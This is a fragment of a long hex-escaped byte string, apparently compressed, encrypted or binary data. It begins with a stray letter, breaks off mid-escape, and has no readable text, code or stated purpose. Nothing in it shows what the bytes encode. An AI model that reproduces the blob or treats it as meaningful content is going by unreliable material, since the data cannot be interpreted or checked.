e\xa3\x4c\x3a\x0b\xc0\x45\x53\xfa\x06\xf5\xeb\x8c\xba\x5b\xa0\xce\xab\x55\x11\xf3\x12\x44\x00\x47\x00\x2d\xc9\xb6\xf9\x60\xac\x9d\xc1\x2a\x7d\x7a\x7d\x98\x4f\x34\xe4\x42\x59\xe3\x49\x3d\x0c\xb1\xb9\x83\x1d\x55\x39\x66\x71\xef\xe2\xc1\xbf\x57\x49\x26\xfe\xe7\xd5\x42\x75\x7f\x94\x77\xc7\x1d\x30\x05\x77\x54\x37\xea\x67\x67\x17\xb9\x65\x27\xd3\x4d\xfb\x6b\xd7\xd7\x92\x4c\xa5\x0b\x3d\x84\x6b\xe3\x79\xa0\x8c\x08\x7a\x6c\x3e\x0c\x0c\x7f\xa1\x0a\x41\x85\xc2\x2a\xc6\xd6\x41\xfc\x19\x3d\x75\xdb\x74\x11\x26\xae\x43\xd9\x78\x2b\xbc\x91\x04\x0e\x68\x7f\x1d\x5e\xcd\x69\xae\x35\xf4\x09\x70\x38\xdc\x42\x40\xe3\x94\xec\x78\x46\x04\xf2\xc1\x49\xf0\x81\x8c\x90\x64\xdc\x32\x84\xca\x67\x35\x54\xee\x9d\x77\x37\x76\xcb\x86\xfa\x69\xef\x8e\xe4\xdd\x6a\x65\x25\x9d\x0a\xbb\x59\xa8\x36\x4e\x15\x31\x55\xa4\xa4\x70\x90\x15\xa4\x21\x97\x43\xc7\xa9\x03\x35\xb3\x50\x62\x3b\xeb\x8b\x76\xe6\xfc\xc6\x10\xcd\xe1\xdb\x6b\x43\x8c\xf9\x76\x21\xa7\xaf\xb3\x56\x82\xdb\xc2\x17\x6b\x07\x0d\xc8\xf9\xd4\x41\x35\x3a\xf2\xba\x86\x15\x79\x22\xbb\x0a\xa8\x6e\x21\x44\x0c\xab\x9f\xb4\x17\x12\x39\x72\x93\xaa\xfe\x61\xcc\x02\xd8\x84\xe9\x5c\x88\x5c\x4f\x41\x06\xba\xb3\xe6\x7e\x79\x25\xa9\xc1\x49\x9d\xe6\x3d\x3a\x35\x9b\x19\x77\x7a\x3a\x89\x3e\xf4\x48\x68\x24\xdc\x30\xf2\x31\x40\x3b\xd1\x82\x59\x3c\x57\x5b\x94\x74\x91\x8c\x25\x18\x23\xcd\x42\x33\xdd\xe1\xee\x2c\x1c\x47\x36\xe8\x2e\xba\x12\xf4\xcd\x9a\x25\xa3\x0e\x4f\xd1\x00\x91\xd5\xa1\x90\xb8\x8d\x2e\xae\xb9\x4d\xdf\xd9\x3a\x6f\x91\x8c\x4c\x92\xa8\x75\x67\x31\xee\x27\x87\x5f\xf6\x88\xe7\x3c\xbe\x8a\xeb\x4e\xac\xd4\xf7\x7b\x98\xb1\x0b\x8f\x66\xe7\xf5\x90\xe7\x29\x57\xff\x15\xf4\xfd\x04\xff\xb5\x86\xeb\xeb\x67\xa0\x14\xeb\x69\xf9\x11\x94\x8c\xa9\x3a\xbd\x33\xb9\x20\x09\x61\xcb\x65\xda\x85\x96\xef\x3e\x69\x2b\x30\x02\x22\xdd\xb5\xb6\xde\xfb\xcf\xf4\xf4\x16\x5c\x25\x52\x58\xf7\x60\xde\x29\x4e\x86\x07\x01\xe4\x51\x8e\x0b\xb0\xfa\x8f\x71\xce\xbe\x0e\xc8\x94\x7e\xfa\x84\xa8\xef\x66\xed\x8c\xf4\x3f\x68\x2e\x54\xa7\x1f\x1d\x24\xa3\x64\x76\xf9\xa1\x1f\x48\xd2\x43\x20\xf1\x9b\x5d\x3a\xd0\x9f\x41\x32\x01\x41\xb1\x9a\x74\xd3\xd1\xe2\x52\x74\x46\x69\x68\x8a\x05\xdc\x26\x4c\x53\xa9\xd6\xc6\xe7\x5a\x1d\x13\x60\x70\xb3\xdb\xf9\xab\x20\x57\xed\x0c\xaf\x28\x15\x6a\xbe\x54\x39\x02\x7d\x95\xec\xfe\x69\xb6\xa1\x7e\x18\x0d\xad\xdd\x06\x37\x8d\xec\x58\x94\xcb\x02\xc2\x41\x34\x39\xe6\x87\xf2\x6d\x36\x81\xb5\x7e\x0c\x9f\xd2\xcd\x45\xf3\xc0\xdf\x1a\xf2\x6c\x28\x5a\x7b\xa4\x67\x13\x14\xdb\x6f\xe9\xd9\xa6\x19\xf8\x2a\x11\xb6\x3f\xf0\xee\x0b\xa8\xff\x4a\x62\xa6\xf8\x45\x3a\x35\x0d\x09\x23\x32\x05\xd9\x67\x8b\x80\xd3\xd2\x29\x5e\x18\x58\x6b\xf9\x34\x57\xf6\x29\xaf\xdf\x0c\x6a\x2e\x05\x96\x14\x53\x6b\xa3\x5a\x4f\xbc\x93\x5a\x51\x1c\x58\x36\x02\x13\x61\x6e\xa3\x40\x2f\x1c\x67\x16\xa6\xa5\xde\x77\xfa\xbe\xd6\x27\xcd\x63\x04\xaf\x0f\x06\xc1\xf8\xf1\x5e\x81\x32\xd7\x98\xb2\xdb\x12\xd3\xc6\x17\x27\xb7\x1a\xba\x6f\xcd\x17\xf5\xd2\x4b\x25\xcd\x6f\x87\xd1\xd3\x11\x4a\x70\xd9\x66\xed\xab\x3e\x0d\xeb\x31\xcc\x15\x90\xe7\x18\x93\x3a\xfa\x6d\xd7\xdc\xb2\x82\xde\x59\x8f\xcd\xd8\xc8\x1d\x81\x20\x23\x80\x8a\x8c\xb2\x53\x29\x13\x0f\xe6\x97\x84\xe8\xd9\xdd\x9f\xc9\xc6\x16\xd3\x1f\xa7\xb4\x40\xe6\xc0\xbe\x8e\x01\xce\x70\xcf\xdb\x3d\xbe\xb2\x4d\x33\x61\x10\x27\xed\x85\x1c\x81\x59\xd6\x73\x83\x09\x60\xfd\x88\xf3\x4c\x1c\x3e\x6e\x40\x30\x6b\xe5\x66\x72\x20\x47\x2e\x22\xfa\xee\x6f\xfa\xf8\x95\xc9\x48\xb6\x63\x5e\xf7\x80\xa5\x11\x8f\x1f\x2b\x87\xf2\x18\x86\x24\xe4\xa5\xd8\xaa\xa6\x18\xe8\xa6\x2d\x79\x39\xac\xce\x69\x03\xa8\x04\xe5\x1d\x90\x6c\xdf\x8c\x3e\x0f\xfc\xca\x6a\x30\x40\x15\x60\xa5\x76\x1b\x72\x38\xc8\x83\x9e\x25\xf0\xd9\x92\x19\xe2\x03\xcd\xc2\x73\x69\x6b\xcf\x0f\xfc\x81\x8a\x7d\xcd\x1c\xf2\xbe\x28\x99\x51\xe0\xdc\xf6\xee\xf9\x2c\x56\x1c\xbe\xf8\x1d\xb9\xcd\x0a\x29\xa0\x31\x44\xc0\x14\x82\x9b\xec\xd7\x64\x0b\x30\x8f\x01\x1a\x3a\x04\xff\xc4\x83\x73\x01\x27\x59\xcb\xe8\x13\xe0\x4e\x7f\x6d\x89\x36\xd1\x61\xb5\xed\x9b\xae\x4d\x9c\xa2\xa4\xbc\x39\x12\x36\x5f\xa6\xa8\xb3\x2c\x29\x0f\x50\xa7\x5e\x2c\x2a\xc2\x0d\x95\x0f\x6b\x06\xfe\x96\x08\x41\xb1\xff\xe8\x0a\x21\xdf\xb2\x6c\xec\x8f\x10\xee\xb6\xd1\xae\xc5\x93\xe0\x50\x81\x58\x89\x34\xa0\x5e\xac\xdc\x67\x0e\x03\x22\x2f\x31\x84\x1b\xb1\xb4\xdf\x74\xd5\x8b\x4e\x48\x77\x2c\x94\xd2\x99\x5d\xbf\x52\xd0\x3a\x7a\xdb\x68\x9a\x90\x6c\x83\xc9\x85\xdc\x60\x33\x1b\x39\x25\xbc\x1a\x74\xaa\xbc\x6c\x2a\x5f\x1e\x19\x08\x3c\x54\x17\x83\xe6\x7e\xb8\xb7\x47\x73\xf9\xc7\x72\x10\xa6\xa3\xe3\x8f\x23\x6b\xb6\x09\xe8\x8d\xef\x2b\xa8\xe1\xe7\x5f\xe9\x2f\x51\xb7\xff\x66\xb4\x31\x8a\xdc\x81\x0e\x14\x81\x8e\x8c\xaf\x4f\xc8\xd8\x4e\x92\x55\x6c\x18\xa4\xb5\x93\xe1\x49\x50\x32\xa0\x3e\xe6\x15\xf9\x4c\xf6\x96\xa9\xa3\x45\x7e\x42\xd5\x89\xc4\x1d\x05\x8f\xdf\xbd\x9f\x9f\x47\x8b\xd3\x56\x5b\xa9\x29\x49\xd7\x7a\xfa\x7d\xd5\xa5\x88\x7d\x9f\x45\x1b\x94\x3a\x2f\x3e\x1d\xf9\x1c\x2f\x7a\x87\xc8\xa6\x2a\x27\x9e\x0f\x63\xd0\x6b\x8f\x6b\x6c\x7d\x5e\xcf\x04\x45\x9a\xd8\xb5\x20\x98\xdf\xf6\x18\x50\x17\x37\x6c\x15\x76\x65\x0a\x91\x24\xee\x05\x86\xd2\x06\x31\xa8\xee\xc0\x01\x13\x16\x1e\x89\xa6\x92\xf2\x67\xc8\x2d\x4a\x32\x1f\x60\x83\xf0\x5b\xa3\x89\x4f\xb5\x00\x6d\xb0\x65\xe3\x7f\x26\xbb\x2a\xdd\xe5\xfe\x3b\x04\x54\xe2\x46\x41\x6b\x60\xcc\xec\xd3\xcc\xaf\x0a\x8e\x55\xd8\x41\xfe\xc7\x90\x0b\xf3\x8e\xd5\x8f\xcd\x0d\xff\x40\x7b\x85\x9f\xea\x3b\x26\x6c\x5f\x3b\xc2\xfa\x59\xba\x9b\xf1\xe8\xb9\xd6\x56\xb5\x58\x09\xa2\xfe\xc2\xf8\x37\x2f\x33\x22\x30\xba\xdf\x63\x3e\x5c\x0b\x43\x4a\x32\xbb\xb0\xb8\x3c\x3d\x03\xb1\x4b\x04\xb8\xb5\x5c\xfb\xde\x13\x6f\x1d\x39\x7d\xdb\xf0\x7a\x20\x48\x86\x78\x15\x21\xc3\x66\x6d\x91\xbe\xd4\x54\x05\x31\x41\x9d\x6e\x40\xe2\xb3\x26\x31\xf9\x5f\xfd\x0e\x60\x8b\xc7\x9b\x76\xa2\xcf\xa6\xf6\xba\x55\x6c\x9e\x6f\x9d\xad\x46\x51\x63\x22\xbd\x10\x4a\x30\xbd\xaa\x44\x08\x0d\x76\x98\xfa\xf9\x1c\x9e\xf8\xdc\xad\xcc\xf3\xd4\xc4\x98\x2f\x80\x57\xe3\x80\xbf\x52\x74\xe2\xb7\x6c\x0f\xa4\x4e\x62\x23\xd8\x54\x97\x99\x39\x2a\xa7\xe6\x66\x0c\x3f\x21\xed\xdb\x15\x14\x66\x71\x0c\x3a\x14\xfe\xc5\x32\x43\x3c\x79\x1a\xac\xa6\x16\xd4\x95\xd6\x6d\x2d\x85\x10\x02\x94\x6d\xa9\x2f\x85\xef\x82\x9c\x6a\x96\x05\x35\xa3\x01\xc5\x4e\xd5\x6b\x9d\x1d\x44\x92\x63\xf7\x58\xb1\x48\x54\x0b\xea\xf6\x4e\x55\xbf\xb9\x03\x5c\x19\xd0\x2e\x39\xd3\x8a\x6a\x61\x6d\x49\x28\xf1\x5b\x37\xbd\xad\x9c\xf7\xae\x1b\x8a\xc2\x87\xd4\xa9\x6b\x9e\xf2\xea\xbe\x72\x24\x96\xb9\x02\xee\x59\x69\xe6\xf7\xa5\xaa\xe0\x65\xe5\x54\x36\xf9\xd7\x30\xf0\x79\x22\x14\xde\x00\x38\x73\xbe\x19\x92\x63\x07\x7c\x03\x14\x1d\xee\x46\x5c\x98\xe7\x3c\xbb\xb0\x17\x83\x9d\x74\x3c\xc2\x72\xe4\x59\x1a\x23\x0f\xad\xbf\xbb\x2a\x95\x8b\xcb\x07\xed\xc1\x1a\xd7\x70\x31\xc5\x84\x22\xed\xf7\x6e\x06\x18\xa5\x3a\xff\x35\x43\x8c\xc3\xae\x22\xff\xa4\xd1\x77\x0f\x66\x6b\xc1\x47\x4f\x31\x8a\xaa\x3e\xd9\x10\x93\x64\x67\x54\xd6\x85\x65\x41\x76\x97\xc2\x52\xe6\xc4\x13\xe9\x36\x5c\x59\x0c\xe0\xe1\xb6\x17\xdb\xe9\xc6\x38\xcb\x10\x96\x89\xbe\x3c\xa9\xa5\xd1\x11\x37\x16\xdd\x4c\x9a\x32\x10\x56\xb4\x07\x86\x30\xac\x1f\xb1\x10\xd2\x7c\x4e\xda\x84\xce\x3e\x59\xb7\x26\x1a\x17\x88\xcc\xb1\x5a\xb7\x8e\x21\x87\xb3\x64\xd4\xf7\x80\x4d\x36\x28\xba\xe9\xd2\xfc\xdc\xd7\x2b\x8b\xec\xa6\xe8\x5a\x3b\xe7\xc8\x34\x2d\xfc\xf0\xcb\x25\xc0\xd7\x4b\x92\x62\x65\x59\x14\xc1\xc1\xff\x93\xde\x7c\x6e\xc8\x87\x9c\x0b\xc2\x01\x6e\x62\x13\x17\x63\xd8\xc9\x32\xfa\x23\xbe\x3b\x58\xf6\xca\x3c\xce\xa9\x1c\x30\x88\xea\x0a\x92\xc3\x84\xb0\x8d\x98\xdd\xca\xa1\x5f\xd3\xc6\x90\xa1\x2c\x10\x98\x93\x8a\x25\x1d\xed\xd1\x37\xb0\x80\xd0\xa3\xf0\x5b\x7b\x56\xbe\xb7\xe9\xda\xb5\x1f\xe3\x3e\x7e\xdd\x65\x82\x42\x32\xf7\xfa\x28\x85\xbe\x13\x7c\x13\x0f\x70\xa8\xed\xff\xd9\x1d\x7f\xf1\xae\xa0\xcc\xbe\x02\x24\x20\xa3\x47\xaa\x12\xf5\x0e\xab\x3d\xd0\x75\x45\x2f\xb8\x51\x81\x84\x3b\x41\x5b\x9a\x05\x0b\xc0\xec\xff\xe7\xe1\x23\x4f\x34\x02\x7d\x18\xd7\xb7\x75\x42\x4f\x14\x50\x54\x08\x25\xc8\xa8\xb1\x83\x29\x37\x9b\xee\x39\xdf\x38\xb1\x26\x51\xf4\x67\x1d\xbc\x6c\x34\x23\x8f\x69\x7d\x61\xeb\xfb\xa6\xe4\x3f\x54\x26\xcd\x21\xca\x7a\x14\xa5\x94\x06\x5c\x50\xa9\x0c\xf0\x33\x93\x6a\xc0\x34\xb4\x09\xf0\x64\x7b\x56\x4f\xdd\x76\x23\x1f\xbb\xc6\x22\x33\xd4\x00\xe4\xef\x17\x61\x1b\x7b\xb5\x0d\x45\x79\x39\xc6\x1d\x62\x1c\x8d\x21\xfa\xea\xfc\x57\xc6\xc6\x5c\xf1\x92\x51\x65\xcc\x86\x3e\xd4\x1f\x24\x40\xcd\x02\x2e\x3d\xf0\x01\x6a\xd6\x87\x26\xe4\x45\xee\x4f\xc4\x94\x29\x37\x4e\x70\xdb\x9d\xc8\x9c\x4e\x2a\x8a\xe3\x70\x7e\x83\x32\x23\xd3\x2c\xf6\x77\xe5\xdc\x8e\x91\x40\x7d\x92\xda\x66\x82\x0d\x7f\x76\x65\xc7\x5e\x3e\x7a\xde\x0b\x5e\xa5\xfa\x4c\x0b\x72\x20\x98\x1d\x72\x5c\xdf\xdf\xb3\x59\xb5\x91\xa7\x4d\x16\x91\x44\x43\x10\x6e\xfa\x03\x08\xa6\xcd\x36\x57\x6a\x23\x43\x60\x4d\x59\xe1\x9a\xcd\xd4\x47\xa3\x8c\x2b\x20\x5f\x36\x26\x0d\x00\x2f\xbe\x68\xfc\xd0\x0a\x52\x56\x2f\xbc\x37\x15\x2d\x5e\x78\xf8\x2b\xc0\x7d\xc4\x8a\xdc\x58\x91\x61\x6a\x29\x8b\x14\x78\xf6\x3a\xbc\x9e\x0f\x58\x76\xcb\xa0\x1c\x2e\x97\x6c\x79\x75\xa7\x17\x5e\x75\xa0\xbd\xd2\x9d\x1d\x44\x26\x9a\x77\x03\x53\x0c\xcb\xa4\xd0\x1f\xa8\xc3\xc0\xdb\x68\x5c\x6b\xb2\x1d\x84\x3b\x86\xd8\xe8\xca\x98\x16\xb2\xfd\xcb\xd3\xd0\x5a\x5f\xdc\x13\xb4\x0b\x72\xcf\x83\xfb\x79\x21\x4d\x34\xcd\x47\x2f\xbf\x0e\xfe\x81\x7b\xff\xc6\x9c\xbd\x54\x59\x1a\x53\x55\x19\x54\x2b\x04\xfc\x1d\xe2\x77\x58\x08\x6b\xfe\x24\x9e\xec\x7b\xb8\xb6\x12\x0b\x39\xec\xaa\x18\x9a\x13\x7b\xd4\x9f\x8b\x84\xeb\x0d\x46\xae\x98\x5c\xe2\x8e\x8c\x58\xc0\xc7\xba\xaa\xd9\xc1\xa6\x16\x59\xa7\x26\x36\xe6\x38\x34\x0d\xc0\x1e\x89\x8b\x67\x50\x30\x79\x17\x59\xc8\x62\xaf\x78\xe1\x81\xbd\xcd\xf5\x8d\x32\x37\xf5\x22\xac\x6d\x74\xe2\x27\x08\xd3\x25\x15\xf0\x43\xcf\x83\x6e\x4d\x4d\x8b\xea\x25\x44\x51\x84\xf4\x48\x8c\xcc\x18\x2d\x0c\xb5\x60\x93\x1c\x6d\x98\x49\xff\xc1\x70\xc0\x69\x4e\xf5\xff\x55\x2b\x4e\xd8\x62\x99\xf9\xe3\xf4\xa5\xd9\xae\x87\xb4\xcb\x1e\xd2\xbc\xfe\xaf\xa9\x4d\x09\x9c\x81\xaa\x7f\x98\x6c\x09\x73\xda\x51\x3d\xdb\xb6\x9f\xf7\xe7\x14\x6b\x66\x33\xcb\x28\x91\x06\xef\x5c\x5a\x58\x59\xe1\xd9\x94\x87\x1e\x71\x8c\x8b\x8b\x3d\xf6\x62\xac\xe7\x88\x8c\x4a\xf8\x1c\x25\x36\x45\x2b\x66\x5b\xeb\xa6\x8d\x0b\x3d\x9d\x33\x43\x02\x57\xb4\xe0\xdd\x95\x0e\x7a\x3b\xb4\x28\xd2\x0d\xa0\xa3\x8e\x77\x79\x47\xf3\x87\x4c\x12\x6a\x9c\xae\xa5\x73\xaf\x83\x9c\x7d\x91\x72\xd6\xa8\xbb\x6e\x1a\x6a\x7e\xe3\x49\x5e\x80\x7a\x47\xd8\x27\xbf\x7f\xf7\x78\xfc\xc5\x9a\x26\x26\x5e\x79\xef\x93\x6c\xd7\x1a\x6a\xa3\xd5\xb7\x8e\x92\x76\xe4\x2e\xb3\xcd\x55\x49\xac\x46\x0d\x52\xef\x1c\xc5\x11\x8d\xcd\x1c\xe4\x79\x1b\x89\x43\xed\x13\xe7\x20\xcb\x29\x51\x96\xa4\x5a\x47\x87\x0a\xed\x02\xda\x93\xfa\x64\xe9\xc0\x83\xd9\x14\x66\x45\xae\x60\x25\x71\xb7\xd8\xc9\x37\xfa\x80\x62\xed\x98\x60\xd4\x25\xe5\x00\xf4\xf2\x84\x87\xba\x7a\x53\xb2\x59\x87\x80\x7a\xa0\xe1\x9f\x5d\x4d\xdd\xdf\x36\xa5\xa2\x80\xac\x70\x04\xbf\x9d\xf3\x32\x2e\xd8\x21\x1f\x4e\x3e\xe9\xa8\x39\xb2\x76\x7a\xf5\x77\x80\xbb\x59\x6e\x45\x8a\xe4\xec\x99\x8a\x7c\xf6\xbc\xe0\x6e\x36\xb7\xa1\xcf\xfa\x2f\x85\xb5\xf3\xfe\xc8\xe9\x1b\x7c\x17\xa7\x3e\x5e\x53\xec\x13\xfc\x8e\xc6\xfe\x14\x0b\x9f\xc5\x98\x2b\x1f\x71\x7b\x1b\xc3\xf0\x13\x8b\xa5\x94\xa5\x9a\xe9\x41\x6b\x8e\xa5\x4c\x12\xe5\xdb\xec\xd0\xcc\x3c\x75\x89\xe1\x99\xc6\x6e\x72\xe2\xe2\xa5\xe4\x7d\x74\x94\x1c\xa3\x6b\x47\x4c\x2f\x63\x57\xc6\x50\x5e\x75\xfb\x93\x2b\x58\xb8\x09\xca\x18\x91\x95\xb1\x5a\x8c\xde\x1f\x76\x02\xeb\x2f\x4f\x68\xdc\x79\x00\x31\x6b\xea\x14\xd3\x4a\xcf\x5c\x43\x43\xb4\x35\xf2\xa0\xf4\x5a\xb6\x8b\x17\x3c\x41\x17\x56\x00\xb3\x67\x8a\x1d\x43\xc7\xfe\x72\x11\xb6\x1e\xee\xde\x02\x23\xbc\xef\x2e\x61\x59\x1f\xe9\xde\xc7\x7c\x8e\x3d\x1c\xd8\xab\x75\xfe\xf3\x3c\xa2\xd1\x54\xf2\x32\x87\xbd\xc7\x49\x1a\x3c\x62\x0a\x27\x59\x1c\x47\x14\x22\x61\xd8\x09\xe9\x5e\xfa\x64\x6d\x87\x3d\xe1\xd8\x92\xaf\xc7\x86\x70\x12\x87\x42\xac\xd1\x38\x54\x5f\xf1\x12\x6a\x43\xd9\x79\x09\x9a\x64\x28\xb6\x7e\xba\xf1\x68\xfe\x9d\x31\xc6\xe4\xd0\xfe\x0c\x0d\x8e\xf8\xbd\x47\xff\x36\xee\x09\xbd\x5a\x76\x61\xbb\xee\xe2\xa7\x89\x77\xb7\x22\x04\x3c\x38\x35\x12\xfe\xf3\x65\x88\x21\x5e\x6b\xd8\x62\xdc\x49\x31\xce\x62\x98\x55\xb1\xc3\x41\x35\xf3\x9d\x63\xc9\xea\x79\x9c\xfa\xff\x6b\x8f\x4c\xd0\x84\xe4\x2f\xed\x39\xee\x2f\xce\xb1\x47\x65\x34\x91\x26\x6b\x04\x44\xdc\x30\x5e\xc2\xd3\xe4\x2b\x70\x7d\xd1\x46\xcb\x08\x40\xa3\x86\xc4\x28\x05\x27\x08\x6b\x35\x6c\x55\xef\x11\x31\x78\x8b\x12\x83\x48\x2f\x82\x38\x8a\xc8\x48\xf3\x42\xda\x53\x93\x72\xf4\xf0\xfe\xe3\xd4\x13\xe8\xc8\x29\x3b\x59\x0f\x75\xfd\xf9\xf1\xd1\x57\x14\x41\xaa\x31\x26\xf2\x7e\xb8\x91\x58\x87\xa3\xf9\xd6\x56\x88\x63\xf6\xe6\xe2\x81\x76\x19\x2c\x45\x1e\x96\xc2\x92\x56\x36\x8c\xd5\xb1\x8b\x75\xcb\xb9\xe4\x27\x0a\xd7\x57\xe8\xe1\xb0\x27\x0f\x61\xbf\x36\xe1\xd3\xd9\x9d\xff\x73\x15\x72\x16\xdb\x47\xd2\x1d\x2b\x24\x28\x52\x41\x82\x3b\x41\xa2\xb0\x4a\x29\xa2\x32\xa5\x34\x0a\x6e\x99\x20\x8e\x61\x8b\x55\xe8\x88\xc9\x71\x7b\x36\xc2\x7d\xa3\xed\x41\x7c\x49\x76\x14\x30\xba\x67\xbf\xd5\x49\x97\x32\x74\xbb\x24\xd1\x19\x4c\x8c\xaa\xd1\xd4\x28\x69\x86\x2e\xf9\xbb\xfa\xb5\xcf\x60\x10\x92\xfb\x40\xdc\x1f\x45\xd8\xc7\x3a\xe3\xd2\x25\x23\x19\x87\x0a\xf7\xa3\xb8\xa8\x82\xbb\x61\x8f\xf0\x41\xd0\x6f\x30\x2b\x35\xf8\x74\xc0\x9e\x2f\xd7\x16\x71\x52\xf4\x1d\x77\xa2\x74\xb1\x84\xb0\x80\x27\x50\x78\xd8\xbe\xfd\x22\x63\x58\x0e\x1b\x0f\xa2\xbf\x48\x1d\xa0\x80\x6c\x1b\x01\x60\xe5\xb9\xa2\xec\x78\x63\x92\x4e\x7e\x86\xe1\x3d\x3b\x7c\x9e\xce\xac\xff\x27\xdb\x66\x56\x1c\x0e\x30\xcb\xf4\x09\xc7\x00\xce\xab\x3e\x3b\x68\xbe\xf6\x12\xf5\xbe\x09\x18\xb2\x92\xc4\x93\x96\xdd\x84\xa6\xe8\x1a\x65\x67\xbc\x2b\x78\xe1\xa9\xb9\x03\x44\x11\xa7\x75\x31\xfd\x66\xa7\xea\x35\xe6\xf6\xa8\xe2\x6b\x63\x37\x5d\x2f\x2f\x87\xf0\x09\xca\x76\x31\x77\x2f\xef\x24\x8e\xe0\xac\xf3\x67\xa7\x26\xb9\xfc\xd5\x69\x20\x53\xf3\x4e\x60\x62\x68\xcf\x3f\xa4\x18\x55\xeb\x04\x7f\xc6\x2f\x0f\x13\xb5\x65\xe7\x5f\x7b\x15\xb4\xf1\x5c\x6c\x03\xfe\x51\x62\x0f\x11\xf3\xbd\x7d\xe7\xef\xed\x50\x38\x23\x99\xc1\x91\xc0\xed\x37\xb6\x96\x11\x6d\x08\x52\x1e\x03\xee\x07\xb7\xdc\xaf\xd4\x9d\x89\xf4\xd7\xb1\xf9\xd1\xbf\xf6\xbe\xc4\xb6\xc9\xd1\x39\x1c\xb4\xe1\xa7\x3e\xfd\xb3\xb5\x15\xad\xdf\x81\x57\x06\x73\x89\xdc\xeb\x7b\xc3\x8a\x6f\x20\x10\x06\x93\xf2\x33\x41\x79\x32\x53\x4d\x81\xd1\x8e\x1c\xdc\x07\xbe\xfd\x6d\xec\xc4\x0c\x1e\x3e\xf5\xa3\xee\x14\xf9\x53\x5d\xf9\x5a\x17\x43\x28\x4b\xad\x47\x56\x27\xb5\xcf\x60\xa9\x03\xb0\x51\xc3\x0c\x2f\x64\x93\x3a\x3a\x85\x87\x1e\xc0\x51\x34\xe4\x31\x95\x11\x39\x11\x8a\x89\xda\x8a\x9e\xa3\x82\xe5\xa7\xc5\xaf\x02\x43\xb4\xa9\xc2\xa4\x2f\x92\x45\x98\xb8\x41\x71\x28\xda\x30\xca\xc7\xcc\x17\x0c\xa0\x33\xb7\xe6\xb9\xc9\x18\xe4\xd2\x60\xe2\x46\x1d\xff\x9b\xc0\xa9\x3b\x91\x49\x15\xe2\x17\xa8\x35\x13\xa6\xa3\x64\x26\xc2\x15\x9a\x60\x15\xfd\xb2\x58\xb2\x7b\x41\xb3\x05\x3c\x35\x3a\x4c\xf8\x95\xd8\x31\x93\x64\x75\xcb\xbb\x7f\xe6\x28\x9a\xa5\x09\x33\x11\x0e\x79\xf2\x2b\xe3\xc2\xde\xdf\xa8\x9f\x95\x0c\x40\xef\x78\x85\x91\xe0\x8d\xbb\xfb\x81\x39\x27\x01\x8c\xc7\x9a\x00\xb0\xf3\x7b\xc7\x87\x7d\xf4\xea\x11\x9d\xf8\xed\x19\x01\x8b\x18\x36\xa0\xbd\x11\x91\x1c\x5b\x9d\x3b\x6e\xe1\xfc\x50\x82\xa4\x30\x7b\x54\x66\x07\x7d\xc1\x18\x4b\xa4\xe1\x7b\x9c\x0a\x89\x7a\xe0\xcd\x6f\x95\x46\x9e\x62\xf4\x74\x56\x6d\xef\x7d\x3f\xe8\x7d\x7c\xa2\xd3\x9d\xd8\xc3\x8a\xb4\xd0\x7b\xea\x9a\x0d\xca\xab\x76\xe2\x4f\x11\xb7\xe2\x2f\x92\x6e\x02\xe2\xf9\x23\x95\xeb\x27\xda\xe4\xe1\x74\x52\xc1\x46\xc1\xab\x06\x66\x8b\xb3\x81\x34\x11\xff\x0b\xdd\x2d\x01\xc5\x3b\x2b\x2b\x64\x8f\x76\x03\x04\xcb\x0f\xe4\x62\xf9\xec\x18\x4f\xc4\xb7\xe6\x9e\x14\x01\x89\xae\xf5\xd7\x2f\xe7\x07\x68\xee\x6c\xfd\x42\x33\xb7\x57\xbf\xfe\x5a\x7a\x21\xc7\xc0\x12\x9a\x02\x79\x32\x08\x28\xe0\xa1\xd2\x20\x05\x10\xed\x0c\xa3\x35\xd3\x31\x7b\x64\x44\x92\x4c\xb9\x7e\xca\xaa\x94\x55\x7a\x73\x11\x83\x4d\xf3\xc3\x0d\xe1\xe7\x4b\xed\x7d\x00\x4d\x2e\xaa\x9e\x75\xa1\xf1\xf6\xa2\x7c\x1a\x02\x0f\xe9\x16\x90\x56\xa8\xdf\x43\xcd\x98\x4c\x3f\x0d\x76\x31\x9c\x64\x22\x9e\xbb\xb2\x9c\x35\xe5\xc3\xb5\x1a\x06\x68\x9a\xca\x69\xcf\x9e\xc5\xe2\xb7\xa7\xdb\x42\x0c\x99\x8c\x03\xb5\x9c\xce\xe3\xb7\x21\x24\xd0\xe7\x1d\x95\x0c\xaf\x20\xad\x7f\x86\xbf\x11\x4e\xad\xf5\xf8\xd6\xce\xfe\x35\x65\x24\x78\x31\xdf\x31\xca\xca\x85\x6c\xaa\xb8\xf6\x9f\x3d\xd2\x0d\x7b\xc7\x94\xb5\x4c\x89\xd7\x8f\xbd\xbc\xfb\xc6\x76\x23\xeb\x07\x11\x58\xb2\x09\xe9\x5c\x7c\xe8\xc5\x00\x9b\x9b\xe5\xc2\x13\x89\x18\x59\x64\x19\x47\xed\xbc\xc8\xd4\x4a\x02\x9e\xf0\x1b\x99\xab\x48\xbf\x8c\x35\x17\x92\x6d\x6c\x41\x8c\xba\xfe\x40\x4f\xba\x48\x92\x4f\x95\xd0\x7f\x45\xd7\x5a\xd6\xb6\x36\x4b\x24\x45\xa7\x32\x1a\xe8\x92\x72\x29\x7d\x50\x55\x6d\x64\x37\xb8\x3e\x25\xb0\x2e\x1b\x66\x37\xbf\x14\x0c\xa8\x4b\x9a\xd6\x46\x5b\x3c\x7f\xdc\xb8\x7d\xd8\x2a\x99\x68\xe9\xbe\x99\x91\xeb\x47\x2f\x84\x4f\x41\xce\x68\x95\x81\x65\x6d\xed\xee\x05\x52\x1f\xa2\x16\x9a\x96\xe2\xb2\xc2\x50\x6e\xba\x96\x64\xd4\xed\xa1\x65\x8d\x53\x18\xaa\x7a\x42\xbe\xb2\xb6\xea\x48\x45\x15\x5b\x49\x72\xdf\x72\xee\x11\x9f\x15\xcf\xbe\xbe\xda\x6c\xde\x27\xcb\xbe\xea\x45\x26\x4c\xd8\x53\x79\x31\xaf\x3a\x5a\x62\x0e\xe9\xfd\x48\xf7\x2a\x88\x41\xfb\x4b\xf7\x8c\xd9\xad\x45\xa7\x62\x8d\x9c\x05\xfe\xb1\x3d\xaa\xc3\x09\x93\x15\xb6\x33\x9b\xe8\xc1\xdb\xc1\x1f\xb7\xb9\x42\x38\x4f\x70\x17\xdc\x95\x2f\x93\x4a\x9c\xe1\xde\xdd\xb2\xab\x5d\x9c\x83\xca\x52\x20\x13\x02\x67\xd7\x79\x5e\x32\x65\x5b\x92\x2d\x6e\x18\x87\xc8\xa2\xb4\x2f\xc6\xab\x87\xf8\xb2\x06\xf7\x29\x1f\x48\x51\x9f\x45\x21\xdf\xf0\x11\xe3\x7a\x25\x7d\x60\x14\xe9\x5d\x02\x94\x1b\x2